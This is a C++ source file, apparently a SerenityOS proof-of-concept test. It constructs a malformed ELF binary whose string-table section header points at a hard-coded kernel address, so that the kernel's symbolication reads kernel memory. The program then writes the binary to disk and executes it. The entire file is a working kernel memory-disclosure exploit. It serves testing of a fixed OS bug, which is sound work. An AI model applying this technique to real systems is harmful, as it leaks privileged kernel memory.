elf-symbolication-kernel-read-exploit.cpp 2.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115
  1. /*
  2. * Copyright (c) 2018-2020, the SerenityOS developers.
  3. *
  4. * SPDX-License-Identifier: BSD-2-Clause
  5. */
  6. #include <AK/Types.h>
  7. #include <elf.h>
  8. #include <fcntl.h>
  9. #include <stdio.h>
  10. #include <string.h>
  11. #include <unistd.h>
  12. asm("haxcode:\n"
  13. "1: jmp 1b\n"
  14. "haxcode_end:\n");
  15. extern "C" void haxcode();
  16. extern "C" void haxcode_end();
  17. #pragma GCC diagnostic ignored "-Wdeprecated-declarations"
  18. int main()
  19. {
  20. char buffer[16384];
  21. auto& header = *(Elf32_Ehdr*)buffer;
  22. header.e_ident[EI_MAG0] = ELFMAG0;
  23. header.e_ident[EI_MAG1] = ELFMAG1;
  24. header.e_ident[EI_MAG2] = ELFMAG2;
  25. header.e_ident[EI_MAG3] = ELFMAG3;
  26. header.e_ident[EI_CLASS] = ELFCLASS32;
  27. header.e_ident[EI_DATA] = ELFDATA2LSB;
  28. header.e_ident[EI_VERSION] = EV_CURRENT;
  29. header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
  30. header.e_ident[EI_ABIVERSION] = 0;
  31. header.e_type = ET_EXEC;
  32. header.e_version = EV_CURRENT;
  33. header.e_ehsize = sizeof(Elf32_Ehdr);
  34. header.e_machine = EM_386;
  35. header.e_shentsize = sizeof(Elf32_Shdr);
  36. header.e_phnum = 1;
  37. header.e_phoff = 52;
  38. header.e_phentsize = sizeof(Elf32_Phdr);
  39. auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
  40. ph[0].p_vaddr = 0x20000000;
  41. ph[0].p_type = PT_LOAD;
  42. ph[0].p_filesz = sizeof(buffer);
  43. ph[0].p_memsz = sizeof(buffer);
  44. ph[0].p_flags = PF_R | PF_X;
  45. ph[0].p_align = PAGE_SIZE;
  46. header.e_shnum = 3;
  47. header.e_shoff = 1024;
  48. u32 secret_address = 0x00184658;
  49. auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
  50. sh[0].sh_type = SHT_SYMTAB;
  51. sh[0].sh_offset = 2048;
  52. sh[0].sh_entsize = sizeof(Elf32_Sym);
  53. sh[0].sh_size = 2 * sizeof(Elf32_Sym);
  54. sh[1].sh_type = SHT_STRTAB;
  55. sh[1].sh_offset = secret_address - 0x01001000;
  56. sh[1].sh_entsize = 0;
  57. sh[1].sh_size = 1024;
  58. sh[2].sh_type = SHT_STRTAB;
  59. sh[2].sh_offset = 4096;
  60. sh[2].sh_entsize = 0;
  61. sh[2].sh_size = 1024;
  62. header.e_shstrndx = 2;
  63. auto* sym = (Elf32_Sym*)(&buffer[2048]);
  64. sym[0].st_value = 0x20002000;
  65. sym[0].st_name = 0;
  66. sym[1].st_value = 0x30000000;
  67. sym[1].st_name = 0;
  68. auto* strtab = (char*)&buffer[3072];
  69. strcpy(strtab, "sneaky!");
  70. auto* shstrtab = (char*)&buffer[4096];
  71. strcpy(shstrtab, ".strtab");
  72. auto* code = &buffer[8192];
  73. size_t haxcode_size = (uintptr_t)haxcode_end - (uintptr_t)haxcode;
  74. printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
  75. memcpy(code, (void*)haxcode, haxcode_size);
  76. header.e_entry = 0x20000000 + 8192;
  77. int fd = open("x", O_RDWR | O_CREAT, 0777);
  78. if (fd < 0) {
  79. perror("open");
  80. return 1;
  81. }
  82. auto nwritten = write(fd, buffer, sizeof(buffer));
  83. if (nwritten < 0) {
  84. perror("write");
  85. return 1;
  86. }
  87. if (execl("/home/anon/x", "x", nullptr) < 0) {
  88. perror("execl");
  89. return 1;
  90. }
  91. return 0;
  92. }